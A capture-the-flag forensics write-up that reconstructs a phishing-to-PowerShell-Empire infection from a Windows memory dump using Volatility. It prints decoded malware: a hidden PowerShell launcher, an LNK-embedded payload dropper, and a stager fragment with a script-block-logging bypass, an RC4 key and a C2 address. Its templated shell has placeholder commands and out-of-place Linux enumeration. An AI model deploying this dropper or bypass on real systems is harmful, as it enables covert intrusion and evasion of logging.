Reminiscent

Platform: HackTheBox | Category: Forensics | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-01 | Status: Solved Techniques: base64_decoding, memory_dump_analysis, powershell_payload_extraction, process_analysis

Summary

Task: Memory dump from Windows VM with suspicious PowerShell activity after phishing email. Solution: Volatility process/cmdline analysis, decode base64 PowerShell payloads (ASCII and UTF-16LE), find Empire stager with embedded flag.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: hackthebox | ID: 20260201_hackthebox_reminiscent
• Tags: memory_forensics, malware_analysis, volatility, powershell, phishing
• Indicators: memory dump file, powershell.exe in process list, encoded powershell command, suspicious child processes
• Source: 20260201_hackthebox_reminiscent.md

Foothold

Vulnerability / Misconfiguration

1. base64_decoding
2. memory_dump_analysis
3. powershell_payload_extraction
4. process_analysis

 bash read-only • copy allowed Copy
<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

 bash read-only • copy allowed Copy
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

 bash read-only • copy allowed Copy
<command>

Flags

Key Takeaways / Lessons

• base64_decoding
• memory_dump_analysis
• powershell_payload_extraction
• process_analysis
• Tags: memory_forensics, malware_analysis, volatility, powershell, phishing

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Suspicious traffic was detected from a recruiter's virtual PC. A memory dump of the offending VM was captured before it was removed from the network for imaging and analysis. Our recruiter mentioned he received an email from someone regarding their resume. A copy of the email was recovered and is provided for reference. Find and decode the source of the malware to find the flag.

Files Provided

• flounder-pc-memdump.elf - Memory dump from Windows 7 SP1 x64 VM
• imageinfo.txt - Volatility profile information (Win7SP1x64)
• Resume.eml - Recovered email with malicious link

Analysis

Initial Reconnaissance

Extracted the challenge archive (password: hackthebox) and examined the files:

• Memory dump is an ELF core file from VirtualBox
• Email shows phishing attempt from "Brian Loodworm" to "flounder@madlab.lcl"
• Email contains link to http://10.10.99.55:8080/resume.zip

The attack chain becomes clear: phishing email with malicious resume link.

Process Analysis

Listed processes from the memory dump using Volatility 3:

 bash read-only • copy allowed Copy
vol -f flounder-pc-memdump.elf windows.pslist

Key findings:

The process tree reveals the infection chain: Thunderbird -> Explorer -> PowerShell -> PowerShell

Command Line Extraction

 bash read-only • copy allowed Copy
vol -f flounder-pc-memdump.elf windows.cmdline

Found two PowerShell processes with encoded payloads.

Solution

Decode First Payload (PID 496)

The first PowerShell had a base64-encoded command:

 powershell read-only • copy allowed Copy
powershell.exe -win hidden -Ep ByPass $r = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('...')); iex $r;

Decoded to a dropper script:

 powershell read-only • copy allowed Copy
$stP,$siP=3230,9676;
$f='resume.pdf.lnk';
if(-not(Test-Path $f)){
    $x=Get-ChildItem -Path $env:temp -Filter $f -Recurse;
    [IO.Directory]::SetCurrentDirectory($x.DirectoryName);
}
$lnk=New-Object IO.FileStream $f,'Open','Read','ReadWrite';
$b64=New-Object byte[]($siP);
$lnk.Seek($stP,[IO.SeekOrigin]::Begin);
$lnk.Read($b64,0,$siP);
$b64=[Convert]::FromBase64CharArray($b64,0,$b64.Length);
$scB=[Text.Encoding]::Unicode.GetString($b64);
iex $scB;

This reads embedded payload from resume.pdf.lnk at offset 3230 (9676 bytes).

Decode Second Payload (PID 2752) - FLAG FOUND

The second PowerShell used -enc parameter with UTF-16LE base64:

 bash read-only • copy allowed Copy
echo '...' | base64 -d | iconv -f UTF-16LE -t UTF-8

Decoded to a PowerShell Empire stager with the flag embedded:

 powershell read-only • copy allowed Copy
# AMSI and Script Block Logging bypass
$GroUPPOLiCYSEttINGs = [rEF].ASseMBLY.GEtTypE('System.Management.Automation.Utils')."GEtFIE`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static').GETValUe($nulL);
$GRouPPOlICySeTTiNgS['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;

# RC4 key and C2 configuration
$K=[SYStEM.Text.ENCODIng]::ASCII.GEtBytEs('E1gMGdfT@eoN>x9{]2F7+bsOn4/SiQrw');
$ser='http://10.10.99.55:80';
$t='/login/process.php';

# FLAG embedded in source
$flag='HTB{REDACTED}';

# ... RC4 decryption and execution ...

Attack Chain Summary

Phishing Email (Resume.eml)
    |
    v
resume.zip download (http://10.10.99.55:8080/resume.zip)
    |
    v
resume.pdf.lnk execution
    |
    v
PowerShell Stage 1 (PID 496) - Dropper
    |
    v
PowerShell Stage 2 (PID 2752) - Empire Stager
    |
    v
C2 Communication (10.10.99.55:80)

Tools Reference

Volatility 3 Commands Used

 bash read-only • copy allowed Copy
# List processes
vol -f <dump> windows.pslist

# Get command lines
vol -f <dump> windows.cmdline

# Other useful plugins
vol -f <dump> windows.pstree      # Process tree
vol -f <dump> windows.netscan     # Network connections
vol -f <dump> windows.filescan    # File handles
vol -f <dump> windows.dumpfiles   # Extract files

PowerShell Decoding

 bash read-only • copy allowed Copy
# ASCII base64
echo '<base64>' | base64 -d

# UTF-16LE base64 (PowerShell -enc)
echo '<base64>' | base64 -d | iconv -f UTF-16LE -t UTF-8

Lessons Learned

1. PowerShell Empire stagers often embed configuration including flags/keys in plaintext
2. Memory forensics can reveal the full attack chain through process relationships
3. Always check both ASCII and UTF-16LE encoding for PowerShell payloads
4. LNK files can contain embedded payloads at specific offsets
5. The -enc parameter always uses UTF-16LE encoding

</details>

---

signed by XESXOR